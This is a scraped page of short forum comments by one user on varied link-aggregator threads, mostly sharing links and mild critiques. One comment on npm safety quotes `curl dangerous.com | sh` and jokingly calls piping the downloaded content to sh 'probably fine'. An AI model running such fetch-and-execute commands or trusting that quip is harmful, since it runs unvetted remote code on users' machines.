rooodini··on Bible API
Yes, exactly. Here’s what BibleGateway says about it: https://support.biblegateway.com/hc/en-us/articles/360001403...
rooodini··on Quotebacks – Quote the Web
Shouldn’t the demo quote link to https://sometimesright.com/2020/04/25/blogging-vs-twitter/ ? (instead of the homepage)
rooodini··on WikiHouse – Open source buildings and interiors for self-build
https://www.opendesk.cc/about/company says:

> Three of the founding team were also co-founders of the WikiHouse open source construction set.

rooodini··on Unicorns vs. Donkeys: Handy Guide to Distinguishing
agreed. Just one example of a unicorn would strengthen the case for this metric.
rooodini··on Hypothes.is: an open platform for scholarly discussion on the web
> The insight is that there Needs To Be A Central, Browsable Repository of What Pages Have this Meta Content.

Are you able to give further examples of projects like Hypothesis failing? I’m not sure I’m quite ready to conclude this _can’t_ work without a centralized interface.

In any case, though, it would probably be straightforward to add a centralised top stories page while keeping comments inline.

rooodini··on An unexpected social trick I learned running out of business cards
@giacecco does something similar, but as a freelance data scientist, each of his business cards shows some graphic of a project he has worked on. He asks people to pick a card, then he tells them about the project they chose. Works really well
rooodini··on A global movement to ban urban billboards
PIRC and WWF produced an interesting report on this topic a few years ago: http://assets.wwf.org.uk/downloads/think_of_me_as_evil.pdf
rooodini··on Laravel 5 released
no longer developed by EllisLab, perhaps.. https://github.com/bcit-ci/CodeIgniter
rooodini··on Npm install could be dangerous
> […] as dangerous as `curl dangerous.com | sh`.

dangerous.com appears to be a saucy outfits retailer. Irrespective of the name, piping the html to sh is probably fine.

rooodini··on Show HN: Rudolph Runner
This would be a cool one to port to Scratch and add to the Code Club syllabus: http://projects.codeclub.org.uk I would guess it’s pretty doable in Scratch.
rooodini··on Show HN: Addict – a Python dict whos values can be get and set using attributes
I’m afraid I find it thoroughly unpleasant :(
rooodini··on Recent Train Times
I know Gianfranco (twitter.com/giacecco) has been working on something similar.
rooodini··on Anti-Tesla sentiment and the death of optimism
> between 1 and 100

I think this should be between 0 and 100 (for the Nash equilibrium to work, anyway.)

rooodini··on Show HN: Untrusted, a JavaScript adventure game you play by modifying its source
you can close the bracket and inject some more commands… although you don’t have many characters in which to do it.
rooodini··on Show HN: Untrusted, a JavaScript adventure game you play by modifying its source
I made the robot follow a cosine curve. Cute but ridiculous solution.
rooodini··on Show HN: A dead simple static site generator – just two template tags
I actually found the “Highlight this” example at the top a bit confusing. Could you write “Display this” instead? Or give a better example to demonstrate conditionals?
rooodini··on Speech accent archive (English)
The samples presented aren’t always representative of the accents of the region. For instance, english57 is much closer to a ‘typical’ Birmingham/midlands accent than english2.

Awesome archive all the same!
